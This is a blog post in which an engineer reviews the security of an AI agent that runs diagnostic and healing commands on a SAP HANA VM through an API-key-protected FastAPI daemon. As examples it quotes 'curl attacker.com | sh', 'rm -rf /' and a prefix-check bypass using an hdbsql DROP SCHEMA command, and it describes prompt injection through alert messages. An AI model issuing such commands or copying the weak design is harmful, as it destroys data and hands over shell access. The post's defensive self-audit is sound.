The problem
I wanted an agent that could do the first hour of a HANA root-cause investigation on its own. When a tenant goes sideways at 2am, the human on-call runs the same twenty commands in the same order, then reads the output, then decides. HDB info, sapcontrol -function GetProcessList, df -h, tail the trace files, check the backup catalog, grep the alerts view. Only after that do the interesting decisions start. The rote layer is where I lose an hour of my life every time.
HaaS is my attempt to move that hour off my calendar. It runs the analysis loop on a schedule, parses the output, decides what looks broken, and either writes a report or, if the fix is small and well-understood, applies it. The agent side is a Google ADK app. The system side is a FastAPI daemon that sits on the HANA VM and answers HTTP requests. The two are stitched together with an X-API-Key header.
That last sentence is the part that makes people twitch. So this post is me being honest about it. I want to walk through the design as I actually shipped it, name the guardrails one by one against the code that enforces them, and then say out loud which ones I trust and which ones I do not.
The naive first design
The naive design is exactly what I built. There is a FastAPI process running as a non-root user on the VM at port 9999. Every endpoint requires an X-API-Key header. If the header matches a constant, the request goes through. If not, it 403s. The full auth check is nine lines:
def verify_api_key(x_api_key: str = Header(None)) -> bool:
if not x_api_key:
raise HTTPException(status_code=401, detail="X-API-Key header missing")
if x_api_key != Config.API_KEY:
logger.warning(f"Invalid API key attempt: {x_api_key[:10]}...")
raise HTTPException(status_code=403, detail="Invalid API key")
return TrueThe key is a 32-byte value, base64 encoded, generated with secrets.token_bytes(32). The client is my agent process, also running in an environment I control, which reads the key from .env and puts it in the header on every call. Rotating the key means editing two files and restarting two processes.
The v1 server hardcodes the key into Config.API_KEY as a class attribute. The v2 server reads it from REMOTE_EXEC_API_KEY with the hardcoded value as a default, so the operator can override it without a code change. Both codepaths ship. Both work.
Why that reads scary out loud
Let me steelman the thing that will get me hit in a code review.
Shared symmetric secrets are the single most-compromised class of credential in production. They live in .env files that end up in git history. They get pasted into Slack when someone is debugging. They get baked into container images. They do not rotate on their own, and when you finally do rotate them, there is always one forgotten client that starts 401ing at 3am on a Sunday. In this repo, hana_sentinel/.env was committed and pushed. The commit is right there in git log (7ffed66, initial import of the env file, 166 lines added). The default key sits inside remote_exec_server.py on line 52 as a class constant. If someone clones the repo they get the production key. That is not a hypothetical, that is the state on the branch.
The other thing that reads badly is that the endpoints do not stop at read-only calls. There is a POST /execute that takes a command string, and a POST /execute-as-user that wraps that command in sudo su - zo3adm -c '...'. There is a POST /healing/execute/{script_name} that runs a .sh file out of /home/zo3adm/healing/. Any of those routes, given the right body and a valid key, will modify the database VM. If the key leaks, the attacker has an interactive shell wrapped in JSON.
If I say that out loud in a security review, I get a rewrite request. So the question is not whether the shared-secret shape is elegant. It obviously is not. The question is whether the guardrails around it collapse the blast radius enough that the shape is defensible for a solo internal tool.
The guardrails, one by one
Here is what actually protects the box, named against the code.
The allowlist gates every string. POST /execute will not run an arbitrary command even with a valid API key. It calls is_command_allowed(command), which checks the prefix against a hard-coded list of fifteen entries: echo, whoami, pwd, date, hostname, df, free, uptime, cat /proc/, ls -l, sapcontrol, HDB, hdbsql, hdbuserstore, du -sh, ps aux. That is the whole surface. If the agent hallucinates a rm -rf / or a curl attacker.com | sh, the request 403s and logs the attempt with the client IP. The check happens in remote_exec_server.py:145-152.
Healing scripts are a fixed list, not a directory scan. The /healing/execute/{script_name} route rejects any name that is not .sh, rejects any name not present on the file system, and then rejects any name that is not one of four hard-coded values: fix_userstore.sh, fix_backup_config.sh, fix_system_params.sh, fix_trace_files.sh. A caller cannot smuggle in a new script by dropping a file in the healing directory, because the allowlist is inside the Python source. Adding a fifth script means editing the server and redeploying.
Every healing route supports a dry-run flag. The healing endpoint accepts dry_run: bool. When true, the server sets DRY_RUN=true in the environment before executing the script. The scripts in the healing folder branch on that env var. The fix_userstore.sh I checked in reads it on line 8 and gates the destructive branch on line 25. The agent loop always calls dry-run first, diffs the simulated output against expected state, and only fires the real run if the diff looks small. Yes, that means the guardrail is enforced by convention in the client. That is a real weakness, and I will get to it.
There is an explicit admin_override flag on the execute endpoints, and it is logged. If you want to bypass the allowlist you have to set admin_override: true in the request body. The server then logs at WARNING level with the client IP and the first two hundred characters of the command: Executing with ADMIN OVERRIDE from 10.238.36.146: sudo systemctl restart hana. The agent never sets that flag. It exists so that a human on the other side of the tool can unblock themselves, and so that flag is trivial to grep for in the log.
Command length and timeout are bounded. MAX_COMMAND_LENGTH = 5000 characters. COMMAND_TIMEOUT = 300 seconds. execute-as-user uses the same cap. That kills the class of attack where a very long crafted payload smuggles a shell metacharacter past a naive check, and it caps the amount of CPU an accidental infinite loop can burn before the server kills it.
Every request goes to a log file on disk. remote_exec_server.log is a FileHandler configured at INFO. Client IPs, prefixes of every command, exit codes, execution times. The v2 server adds a second log for the healing path. When something misfires, the postmortem is a tail -f away, and the log is on the same box the agent operates on, which means the agent cannot cover its own tracks without also giving up its ability to work.
The blast radius is bounded by process identity. The FastAPI daemon runs as a non-root system user. When it wants to do something as zo3adm, it goes through execute-as-user, which shells out to sudo su - zo3adm -c '...'. The sudoers file is the ground truth for what that user can do without a password. If the sudoers rule is wrong, the guardrail is gone. If the sudoers rule is right, the shape of what the agent can escalate to is enumerable and reviewable.
The client side treats a missing key as a hard fail, not a warning. http_command_executor.py reads REMOTE_EXEC_API_KEY from the environment and logs a warning if it is empty. The execute method then returns an error object with "HTTP executor not configured (REMOTE_EXEC_URL and REMOTE_EXEC_API_KEY required)" instead of firing an unauthenticated request. That is not a security property of the server, but it does prevent a whole class of accidental "we shipped without secrets" mistakes where the agent thinks it worked because the request 401ed and the parser saw an empty stdout.
Put together, the guardrail I care about most is not the API key. It is the allowlist. If the shared secret leaks, an attacker with valid credentials can still only do what an agent can do, and what an agent can do is bounded by the fifteen command prefixes plus the four named scripts. That surface is small enough that I can enumerate every bad outcome by hand.
What still keeps me up at night
The allowlist is a prefix check. hdbsql is on the list. hdbsql -U SYSTEM -x "DROP SCHEMA \\"SAPHANADB\\" CASCADE" is a valid string that starts with hdbsql. The server will accept it, the client-side agent will not generate it, and if the agent is prompt-injected through an alert message it might. That is the single biggest hole in the design and I have not closed it. A proper fix is a per-command parser that understands the grammar of each allowed tool. I would like to write that. I have not.
The default key is in git. Rotating it now means editing the server, editing the client env, restarting both, and revoking the old key on the server. There is no key registry. There is no expiry. There is no scope. If a second agent needs read-only access I have to give it the same key that grants healing rights. In practice this is fine because there is one agent. In principle it will bite me the first time I try to add a second one.
The dry-run guarantee is in the healing scripts, not enforced by the server. If I write a fifth script tomorrow and forget to branch on DRY_RUN, the dry-run flag becomes a lie. The right shape is a server-side wrapper that runs the script inside a chroot or a namespace, snapshots the diff, and rolls back on request. That is a project. I have not started it.
The audit log lives on the same host as the thing being audited. If the attacker is inside that host they can rewrite the log. The correct fix is to ship the log off-host in near real time. HANA has centralized syslog available. I have not wired it up.
The v2 server has a chaos.py module that I use for controlled failure injection during dev. I should be doubly sure that module is not reachable when the server is running against a real tenant. Right now the check is "we do not import it in production configs." That is not a check. It is an intention.
What I would change at 10x scale
If I had to run this against a hundred tenants instead of one, the shape of the auth would have to change first.
The shared secret becomes a per-agent short-lived token, minted by a control plane, scoped to a single tenant and a single class of operation. Rotation happens automatically. Revocation is a control-plane call, not a server restart. The server verifies signatures, not equality. Mutual TLS on the wire so that the client and server both know who they are talking to before the header check runs.
The allowlist becomes per-tenant policy. Some tenants let the agent restart HANA processes, some do not. Right now that is one binary switch on the sudoers rule. It should be a policy file that the server reloads on SIGHUP.
Every destructive call goes through a two-phase commit. The agent proposes an action, the server writes a proposal record with an ID and a signed diff of expected changes, a human approves the ID, the server executes. The dry-run flag becomes the default and the only way to run a real change is to hand-approve a proposal. That is the shape of what a real "self-healing" system looks like in production, and it is a completely different codebase from what I have.
The healing scripts move behind a runtime that snapshots the affected files, executes in a mount namespace, and offers a one-command rollback. That is not exotic, it is what any decent config-management tool already does. I built the poor-man's version because I wanted to ship, and now I know what the real version looks like.
For a solo project on one internal VM, I stand by what I built. The allowlist is what defends the box, the shared secret is a convenience, and the honest way to talk about the tradeoff is that I traded elegance for a working tool and wrote down every corner I cut so I can undo them when they matter. If you are reading this and thinking about doing the same, the one thing I would tell you is this: name your guardrails on paper before you write them in code. If you cannot say what each one is protecting against, you have not built a guardrail, you have built a comment.